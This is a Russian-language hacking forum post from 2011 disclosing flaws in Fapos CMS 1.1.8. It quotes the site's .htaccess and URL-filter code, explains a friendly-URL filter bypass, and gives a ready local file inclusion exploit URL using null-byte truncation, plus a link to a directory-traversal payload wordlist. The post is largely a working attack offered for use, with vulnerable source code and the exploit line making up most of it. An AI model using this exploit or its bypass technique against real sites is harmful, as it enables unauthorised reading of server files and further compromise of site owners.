
13.08.2011, 13:07
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Fapos CMS 1.1.8(Последняя версия)
1. Обход ЧПУ
.htacess:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]RewriteEngine On
RewriteBase[/COLOR][COLOR="#007700"]/
[/COLOR][COLOR="#0000BB"]RewriteCond[/COLOR][COLOR="#007700"]%{[/COLOR][COLOR="#0000BB"]REQUEST_FILENAME[/COLOR][COLOR="#007700"]} !-[/COLOR][COLOR="#0000BB"]d
RewriteCond[/COLOR][COLOR="#007700"]%{[/COLOR][COLOR="#0000BB"]REQUEST_FILENAME[/COLOR][COLOR="#007700"]} !-[/COLOR][COLOR="#0000BB"]f
RewriteRule[/COLOR][COLOR="#007700"]^(.*)$[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"]=$[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]QSA[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]L[/COLOR][COLOR="#007700"]]
[/COLOR][/COLOR]
Возможен обход ЧПУ(Что нам поможет в эксплуатации GET уязвимостей). Ну а на сам ЧПУ конечно же идёт фильтр:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'#^[\#/\?&_\-=\.а-яa-z0-9]*$#ui'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]])))
...
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
Который пропускает \n в конце строки
2. LFI
Зависимости: MQ=off, отключенная проверка URL на SQL-inj, бинарнонесовместимая функция is_file и include_once.
Файл: index.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]])) {
...
} else {
[/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'url'[/COLOR][COLOR="#007700"]]);
foreach ([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
if (empty([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"])) unset([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]]);
}
}
if (empty([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"])) {
...
}
[/COLOR][COLOR="#FF8000"]//may be i need upgrade this...hz
[/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'#^\d+$#'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]])) {
...
} else if ([/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]) {
...
}
foreach ([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$val[/COLOR][COLOR="#007700"]);
}
return[/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"];
...
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]callAction[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pathParams[/COLOR][COLOR="#007700"]);
...[/COLOR][COLOR="#FF8000"]//function callAction($params)
[/COLOR][COLOR="#007700"]if (![/COLOR][COLOR="#0000BB"]is_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) .[/COLOR][COLOR="#DD0000"]'/index.php'[/COLOR][COLOR="#007700"])) {
...
}
include_once[/COLOR][COLOR="#DD0000"]'modules/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]) .[/COLOR][COLOR="#DD0000"]'/index.php'[/COLOR][COLOR="#007700"];
[/COLOR][/COLOR]
Обычные слэши использовать нельзя, однако кроме них можно ещё кучей способов эуспулотировать LFI: http://wfuzz.googlecode.com/svn-history/r2/trunk/wordlist/vulns/dirTraversal-nix.txt
Остальной код в CMS разбросан по модулям(Это будут уже уязвимости модулей.).
Эксплоит: /?url=news\index.php%00h
|
|
|